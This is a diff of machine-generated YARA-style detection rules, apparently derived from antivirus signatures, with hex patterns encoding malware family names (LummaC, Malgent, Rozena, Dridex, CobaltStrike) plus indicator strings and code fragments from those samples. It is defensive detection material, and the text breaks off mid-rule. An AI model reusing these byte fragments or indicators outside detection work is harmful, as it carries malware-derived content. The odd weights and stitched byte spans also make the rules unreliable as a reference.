_InfrastructureShared_6582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 4c 69 6e 6b 75 72 79 00 01 00 18 80 01 74 72 61 64 65 72 73 74 72 75 74 68 72 65 76 65 61 6c 65 64 2e 63 6f 6d 01 00 08 80 01 71 75 69 70 2e 65 78 65 01 00 10 80 01 2f 69 6d 61 67 65 73 2f 64 6f 31 35 2e 65 78 65 01 00 09 80 01 77 69 70 } //20515 $a_65_1 = {65 00 00 78 69 00 00 04 00 04 00 04 00 21 23 50 6f 73 73 69 62 6c 65 3a 48 53 54 52 3a 56 6f 62 66 75 73 2e 67 65 6e 21 41 00 01 00 0d 01 } //29797 - $a_6d_2 = {6d 66 63 56 6d 70 70 7a 01 00 0e 01 23 25 33 38 44 44 45 61 63 65 6c 6b 6b 77 01 00 0d 01 24 33 3a 46 46 49 4b 64 6e 6c 6d 71 7b 01 00 0c 01 24 33 46 46 48 4a 64 6e 6e 70 70 6a 00 00 78 69 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d } //22621 - $a_50_3 = {4c 44 21 4d 54 42 00 05 00 3a 03 40 88 f8 34 01 24 00 41 80 e4 90 01 01 45 08 ee 44 08 e0 41 30 c6 41 80 f6 ff 40 88 f8 34 00 41 88 fc 41 } //17249 + $a_6d_2 = {6d 66 63 56 6d 70 70 7a 01 00 0e 01 23 25 33 38 44 44 45 61 63 65 6c 6b 6b 77 01 00 0d 01 24 33 3a 46 46 49 4b 64 6e 6c 6d 71 7b 01 00 0c 01 24 33 46 46 48 4a 64 6e 6e 70 70 6a 00 00 78 69 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 2e 50 52 } //22621 + $a_42_3 = {01 00 0c 81 01 4c 6f 61 64 4c 69 62 72 61 72 79 57 01 00 10 81 01 4c 6f 67 5c 63 75 72 6c 62 61 73 65 2e 6c 6f 67 01 00 06 81 01 67 6f 70 68 65 72 01 00 05 81 01 68 74 74 70 73 01 00 05 81 01 73 6f 63 6b 73 00 00 78 69 00 00 06 00 06 00 06 00 21 23 48 } //19745 condition: - ((#a_41_0 & 1)*20515+(#a_65_1 & 1)*29797+(#a_6d_2 & 1)*22621+(#a_50_3 & 1)*17249) >=4 + ((#a_41_0 & 1)*20515+(#a_65_1 & 1)*29797+(#a_6d_2 & 1)*22621+(#a_42_3 & 1)*19745) >=4 } -rule _InfrastructureShared_6253{ +rule _InfrastructureShared_6583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : - $a_73_0 = {69 62 6c 65 3a 48 53 54 52 3a 56 6f 62 66 75 73 2e 67 65 6e 21 41 00 01 00 0d 01 5d 58 5e 6d 72 6d 66 63 56 6d 70 70 7a 01 00 0e 01 23 25 33 38 44 44 45 61 63 65 6c 6b 6b 77 01 00 0d 01 24 33 3a 46 46 49 4b 64 6e 6c 6d 71 7b 01 00 0c 01 24 33 46 46 48 4a 64 6e 6e 70 70 6a 00 00 78 69 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 } //20515 - $a_6e_1 = {57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 50 47 4c 44 21 4d 54 42 00 05 00 3a 03 40 88 f8 34 01 24 00 41 80 e4 90 01 01 45 08 ee 44 08 e0 41 30 c6 41 80 f6 ff 40 88 f8 34 00 41 88 fc 41 80 f4 90 01 01 41 08 c6 41 80 cc 90 01 01 41 80 f6 ff 45 20 e6 90 00 00 00 78 69 00 00 05 00 05 00 05 00 21 } //27247 - $a_54_2 = {3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 2e 50 52 21 4d 54 42 00 01 00 0c 81 01 4c 6f 61 64 4c 69 62 72 61 72 79 57 01 00 10 81 01 4c 6f 67 5c 63 75 72 6c 62 61 73 65 2e 6c 6f 67 01 00 06 81 01 67 6f 70 68 65 72 01 00 05 81 01 68 74 74 70 73 01 00 } //18467 - $a_73_3 = {63 } //-32507 c + $a_73_0 = {69 62 6c 65 3a 48 53 54 52 3a 56 6f 62 66 75 73 2e 67 65 6e 21 41 00 01 00 0d 01 5d 58 5e 6d 72 6d 66 63 56 6d 70 70 7a 01 00 0e 01 23 25 33 38 44 44 45 61 63 65 6c 6b 6b 77 01 00 0d 01 24 33 3a 46 46 49 4b 64 6e 6c 6d 71 7b 01 00 0c 01 24 33 46 46 48 4a 64 6e 6e 70 70 6a 00 00 78 69 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 } //20515 + $a_32_1 = {4d 61 6c 67 65 6e 74 2e 50 52 21 4d 54 42 00 01 00 0c 81 01 4c 6f 61 64 4c 69 62 72 61 72 79 57 01 00 10 81 01 4c 6f 67 5c 63 75 72 6c 62 61 73 65 2e 6c } //28265 + $a_00_2 = {06 } //26479 + $a_6f_3 = {68 65 72 01 00 05 81 01 68 74 74 70 73 01 00 05 81 01 73 6f 63 6b 73 00 00 78 69 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 6f 62 66 75 73 63 61 74 6f 72 5f 6f 61 5f 74 79 70 65 30 30 34 00 01 00 05 01 80 7c 10 f6 5a 01 00 05 01 80 7c 10 f7 58 01 00 07 01 c7 45 e8 02 00 00 00 01 00 07 01 c7 45 ec 04 00 00 } //385 condition: - ((#a_73_0 & 1)*20515+(#a_6e_1 & 1)*27247+(#a_54_2 & 1)*18467+(#a_73_3 & 1)*-32507) >=4 + ((#a_73_0 & 1)*20515+(#a_32_1 & 1)*28265+(#a_00_2 & 1)*26479+(#a_6f_3 & 1)*385) >=4 } -rule _InfrastructureShared_6254{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 50 47 4c 44 21 4d 54 42 00 05 00 3a 03 40 88 f8 34 01 24 00 41 80 e4 90 01 01 45 08 ee 44 08 e0 41 30 c6 41 80 f6 ff 40 88 f8 34 00 41 88 fc 41 80 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=5 - -} -rule _InfrastructureShared_6255{ +rule _InfrastructureShared_6584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -65100,7 +68523,7 @@ rule _InfrastructureShared_6255{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*-32507+(#a_00_4 & 1)*6) >=5 } -rule _InfrastructureShared_6256{ +rule _InfrastructureShared_6585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -65112,7 +68535,7 @@ rule _InfrastructureShared_6256{ ((#a_54_0 & 1)*18467+(#a_69_3 & 1)*0+(#a_54_4 & 1)*14913) >=6 } -rule _InfrastructureShared_6257{ +rule _InfrastructureShared_6586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -65123,7 +68546,7 @@ rule _InfrastructureShared_6257{ ((#a_4c_0 & 1)*21539+(#a_fd_1 & 1)*-2305) >=7 } -rule _InfrastructureShared_6258{ +rule _InfrastructureShared_6587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -65135,7 +68558,7 @@ rule _InfrastructureShared_6258{ ((#a_41_0 & 1)*20515+(#a_66_1 & 1)*30305+(#a_c8_2 & 1)*-28621) >=8 } -rule _InfrastructureShared_6259{ +rule _InfrastructureShared_6588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -65145,7 +68568,7 @@ rule _InfrastructureShared_6259{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_6260{ +rule _InfrastructureShared_6589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -65155,7 +68578,7 @@ rule _InfrastructureShared_6260{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6261{ +rule _InfrastructureShared_6590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -65165,7 +68588,7 @@ rule _InfrastructureShared_6261{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_6262{ +rule _InfrastructureShared_6591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -65175,19 +68598,19 @@ rule _InfrastructureShared_6262{ ((#a_6f_0 & 1)*21539) >=10 } -rule _InfrastructureShared_6263{ +rule _InfrastructureShared_6592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 61 73 65 53 61 67 65 2e 41 21 64 68 61 00 05 00 07 01 53 61 67 65 43 6f 6e 05 00 18 01 43 63 51 75 65 72 79 48 6f 73 74 41 6c 6c 54 75 6e 6e 65 6c 49 6e 66 6f 05 00 11 01 50 6c } //16675 $a_6e_1 = {74 6f 72 61 67 65 2e 64 6c 6c 00 00 78 69 00 00 14 00 14 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 72 69 64 65 78 2e 46 42 44 21 4d 54 42 00 0a 00 19 03 3b f1 74 0b 66 01 10 8d b2 90 02 04 03 f5 83 e8 04 3d 90 02 04 7f e0 90 00 0a 00 1e 03 2b d1 8a cb 2a 0d 90 02 04 80 c1 7c 88 0d 90 02 } //26485 - $a_ce_2 = {d9 74 06 40 83 f8 0d 90 00 00 00 78 69 00 00 14 00 14 00 02 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 49 6e 73 74 61 6c 6c 43 6f 72 65 3a 49 6e 6e 6f 73 00 0a 00 12 01 49 6e 6e 6f 53 65 74 75 70 4c 64 72 57 69 6e 64 6f 77 0a 00 28 03 33 c0 89 45 f0 89 45 dc e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff 90 00 00 00 78 6a 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 63 79 6d 74 68 2e 46 21 62 69 74 00 01 00 39 03 8d b4 7d 34 ff ff ff 0f b7 06 8d 8c } //3844 + $a_ce_2 = {d9 74 06 40 83 f8 0d 90 00 00 00 78 69 00 00 14 00 14 00 02 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 49 6e 73 74 61 6c 6c 43 6f 72 65 3a 49 6e 6e 6f 73 00 0a 00 12 01 49 6e 6e 6f 53 65 74 75 70 4c 64 72 57 69 6e 64 6f 77 0a 00 28 03 33 c0 89 45 f0 89 45 dc e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff 90 00 00 00 78 69 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 6f 7a 65 6e 61 2e 4b 4b 21 4d 54 42 00 14 00 1d 03 69 c0 0d 66 19 00 8d 90 01 05 89 d0 c1 f8 1f c1 } //3844 condition: ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26485+(#a_ce_2 & 1)*3844) >=15 } -rule _InfrastructureShared_6264{ +rule _InfrastructureShared_6593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -65198,18 +68621,28 @@ rule _InfrastructureShared_6264{ ((#a_46_0 & 1)*16675+(#a_b7_1 & 1)*1026) >=20 } -rule _InfrastructureShared_6265{ +rule _InfrastructureShared_6594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " strings : - $a_77_0 = {69 3a 48 53 54 52 3a 49 6e 73 74 61 6c 6c 43 6f 72 65 3a 49 6e 6e 6f 73 00 0a 00 12 01 49 6e 6e 6f 53 65 74 75 70 4c 64 72 57 69 6e 64 6f 77 0a 00 28 03 33 c0 89 45 f0 89 45 dc e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff 90 00 00 00 78 6a 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 } //19491 - $a_54_1 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 63 79 6d 74 68 2e 46 21 62 69 74 00 01 00 39 03 8d b4 7d 34 ff ff ff 0f b7 06 8d 8c 01 43 48 00 00 8b c7 99 6a 90 01 01 5b f7 fb 8b c1 b9 } //21076 + $a_77_0 = {69 3a 48 53 54 52 3a 49 6e 73 74 61 6c 6c 43 6f 72 65 3a 49 6e 6e 6f 73 00 0a 00 12 01 49 6e 6e 6f 53 65 74 75 70 4c 64 72 57 69 6e 64 6f 77 0a 00 28 03 33 c0 89 45 f0 89 45 dc e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff e8 90 01 03 ff 90 00 00 00 78 69 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 } //19491 + $a_6e_1 = {57 69 6e 36 34 2f 52 6f 7a 65 6e 61 2e 4b 4b 21 4d 54 42 00 14 00 1d 03 69 c0 0d 66 19 00 8d 90 01 05 89 d0 c1 f8 1f c1 e8 18 01 c2 0f b6 d2 29 c2 89 d0 90 00 0a 00 1b 01 10 00 00 41 b9 04 00 00 00 41 b8 00 30 00 00 48 89 c2 b9 00 00 00 00 41 ff d2 48 00 00 78 6a 00 00 01 00 01 00 01 00 21 } //27247 condition: - ((#a_77_0 & 1)*19491+(#a_54_1 & 1)*21076) >=20 + ((#a_77_0 & 1)*19491+(#a_6e_1 & 1)*27247) >=20 } -rule _InfrastructureShared_6266{ +rule _InfrastructureShared_6595{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 6f 7a 65 6e 61 2e 4b 4b 21 4d 54 42 00 14 00 1d 03 69 c0 0d 66 19 00 8d 90 01 05 89 d0 c1 f8 1f c1 e8 18 01 c2 0f b6 d2 29 c2 89 d0 90 00 0a 00 1b 01 10 00 00 41 b9 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=30 + +} +rule _InfrastructureShared_6596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65219,7 +68652,7 @@ rule _InfrastructureShared_6266{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6267{ +rule _InfrastructureShared_6597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65229,7 +68662,7 @@ rule _InfrastructureShared_6267{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6268{ +rule _InfrastructureShared_6598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65239,7 +68672,7 @@ rule _InfrastructureShared_6268{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6269{ +rule _InfrastructureShared_6599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65249,7 +68682,7 @@ rule _InfrastructureShared_6269{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6270{ +rule _InfrastructureShared_6600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65259,7 +68692,7 @@ rule _InfrastructureShared_6270{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6271{ +rule _InfrastructureShared_6601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65269,7 +68702,7 @@ rule _InfrastructureShared_6271{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6272{ +rule _InfrastructureShared_6602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65279,7 +68712,7 @@ rule _InfrastructureShared_6272{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6273{ +rule _InfrastructureShared_6603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65289,7 +68722,7 @@ rule _InfrastructureShared_6273{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6274{ +rule _InfrastructureShared_6604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65299,7 +68732,7 @@ rule _InfrastructureShared_6274{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6275{ +rule _InfrastructureShared_6605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65309,7 +68742,7 @@ rule _InfrastructureShared_6275{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6276{ +rule _InfrastructureShared_6606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65319,7 +68752,7 @@ rule _InfrastructureShared_6276{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6277{ +rule _InfrastructureShared_6607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65329,7 +68762,7 @@ rule _InfrastructureShared_6277{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6278{ +rule _InfrastructureShared_6608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65339,7 +68772,7 @@ rule _InfrastructureShared_6278{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6279{ +rule _InfrastructureShared_6609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65349,7 +68782,7 @@ rule _InfrastructureShared_6279{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6280{ +rule _InfrastructureShared_6610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65359,7 +68792,7 @@ rule _InfrastructureShared_6280{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6281{ +rule _InfrastructureShared_6611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65369,7 +68802,7 @@ rule _InfrastructureShared_6281{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6282{ +rule _InfrastructureShared_6612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65379,7 +68812,7 @@ rule _InfrastructureShared_6282{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6283{ +rule _InfrastructureShared_6613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65389,7 +68822,7 @@ rule _InfrastructureShared_6283{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6284{ +rule _InfrastructureShared_6614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65399,7 +68832,7 @@ rule _InfrastructureShared_6284{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6285{ +rule _InfrastructureShared_6615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65409,7 +68842,7 @@ rule _InfrastructureShared_6285{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6286{ +rule _InfrastructureShared_6616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65419,7 +68852,7 @@ rule _InfrastructureShared_6286{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6287{ +rule _InfrastructureShared_6617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65429,7 +68862,7 @@ rule _InfrastructureShared_6287{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6288{ +rule _InfrastructureShared_6618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65439,7 +68872,7 @@ rule _InfrastructureShared_6288{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6289{ +rule _InfrastructureShared_6619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65449,7 +68882,7 @@ rule _InfrastructureShared_6289{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6290{ +rule _InfrastructureShared_6620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65459,7 +68892,7 @@ rule _InfrastructureShared_6290{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6291{ +rule _InfrastructureShared_6621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65469,7 +68902,7 @@ rule _InfrastructureShared_6291{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6292{ +rule _InfrastructureShared_6622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65479,7 +68912,7 @@ rule _InfrastructureShared_6292{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6293{ +rule _InfrastructureShared_6623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65489,7 +68922,7 @@ rule _InfrastructureShared_6293{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6294{ +rule _InfrastructureShared_6624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65499,7 +68932,7 @@ rule _InfrastructureShared_6294{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6295{ +rule _InfrastructureShared_6625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65509,7 +68942,7 @@ rule _InfrastructureShared_6295{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6296{ +rule _InfrastructureShared_6626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -65519,7 +68952,7 @@ rule _InfrastructureShared_6296{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6297{ +rule _InfrastructureShared_6627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -65530,7 +68963,7 @@ rule _InfrastructureShared_6297{ ((#a_46_0 & 1)*16675+(#a_b8_1 & 1)*-30922) >=1 } -rule _InfrastructureShared_6298{ +rule _InfrastructureShared_6628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -65541,7 +68974,7 @@ rule _InfrastructureShared_6298{ ((#a_46_0 & 1)*16675+(#a_b9_1 & 1)*-29866) >=1 } -rule _InfrastructureShared_6299{ +rule _InfrastructureShared_6629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -65552,7 +68985,7 @@ rule _InfrastructureShared_6299{ ((#a_46_0 & 1)*16675+(#a_35_1 & 1)*-30655) >=1 } -rule _InfrastructureShared_6300{ +rule _InfrastructureShared_6630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -65563,7 +68996,7 @@ rule _InfrastructureShared_6300{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*30319) >=1 } -rule _InfrastructureShared_6301{ +rule _InfrastructureShared_6631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -65574,7 +69007,7 @@ rule _InfrastructureShared_6301{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*-28672) >=1 } -rule _InfrastructureShared_6302{ +rule _InfrastructureShared_6632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -65585,7 +69018,7 @@ rule _InfrastructureShared_6302{ ((#a_5f_0 & 1)*25635+(#a_66_1 & 1)*24902) >=1 } -rule _InfrastructureShared_6303{ +rule _InfrastructureShared_6633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -65597,41 +69030,31 @@ rule _InfrastructureShared_6303{ ((#a_54_0 & 1)*18467+(#a_ee_1 & 1)*-14761+(#a_62_2 & 1)*28718) >=1 } -rule _InfrastructureShared_6304{ +rule _InfrastructureShared_6634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 44 42 21 50 44 42 00 01 00 0d 01 73 74 61 74 65 68 77 61 79 2e 70 64 62 01 00 0e 01 6d 69 6e 75 74 65 48 67 75 79 2e 70 64 62 01 00 13 01 68 65 61 6c 74 68 44 62 75 73 } //18467 $a_73_1 = {2e 70 64 62 00 00 78 6a 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4e 74 44 6c 6c 42 61 73 65 2e 41 00 01 00 16 03 6e 74 64 6c 75 90 02 10 20 20 20 20 90 02 08 6c 2e 64 6c 74 90 00 01 00 18 03 6e 74 64 6c 0f 84 90 02 20 20 20 20 20 90 02 08 6c 2e 64 6c 0f 85 90 00 01 00 0f 03 6e 74 } //28265 - $a_90_2 = {04 6c 2e 64 6c 74 90 00 00 00 78 6a 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 53 59 55 21 4d 54 42 00 02 00 3e 01 8b 8d 20 fe ff ff 83 c1 01 89 8d 20 fe ff ff 81 bd 20 fe ff ff 30 75 00 00 7d 65 e8 80 00 00 00 99 b9 fe 00 00 00 f7 f9 52 e8 72 00 00 00 99 b9 fe 00 00 00 f7 f9 52 8b 95 24 fe ff ff } //27748 + $a_90_2 = {04 6c 2e 64 6c 74 90 00 00 00 78 6a 00 00 02 00 02 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 59 41 46 21 4d 54 42 00 02 00 36 03 ba 40 00 00 00 48 8b fd 48 83 c6 02 8b ca 48 8b c5 48 03 f3 f3 a4 8b ca 8a 94 24 90 01 04 8d 79 c1 30 10 48 03 c7 48 2b cf 75 f6 48 8b d5 49 8b cd 41 ff d7 90 } //27748 condition: ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28265+(#a_90_2 & 1)*27748) >=1 } -rule _InfrastructureShared_6305{ +rule _InfrastructureShared_6635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 4e 74 44 6c 6c 42 61 73 65 2e 41 00 01 00 16 03 6e 74 64 6c 75 90 02 10 20 20 20 20 90 02 08 6c 2e 64 6c 74 90 00 01 00 18 03 6e 74 64 6c 0f 84 90 02 20 20 20 20 20 90 02 08 6c 2e 64 6c 0f 85 90 00 01 00 0f 03 6e 74 64 6c 75 90 } //18467 - $a_2e_1 = {6c 74 90 00 00 00 78 6a 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 53 59 55 21 4d 54 42 00 02 00 3e 01 8b 8d 20 fe ff ff 83 c1 01 89 8d 20 fe ff ff 81 bd 20 fe ff ff 30 75 00 00 7d 65 e8 80 00 00 00 99 b9 fe 00 00 00 f7 f9 52 e8 72 00 00 00 99 b9 fe 00 00 00 f7 f9 52 8b } //1025 - $a_ff_2 = {52 00 00 78 6a 00 00 02 00 02 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 59 41 46 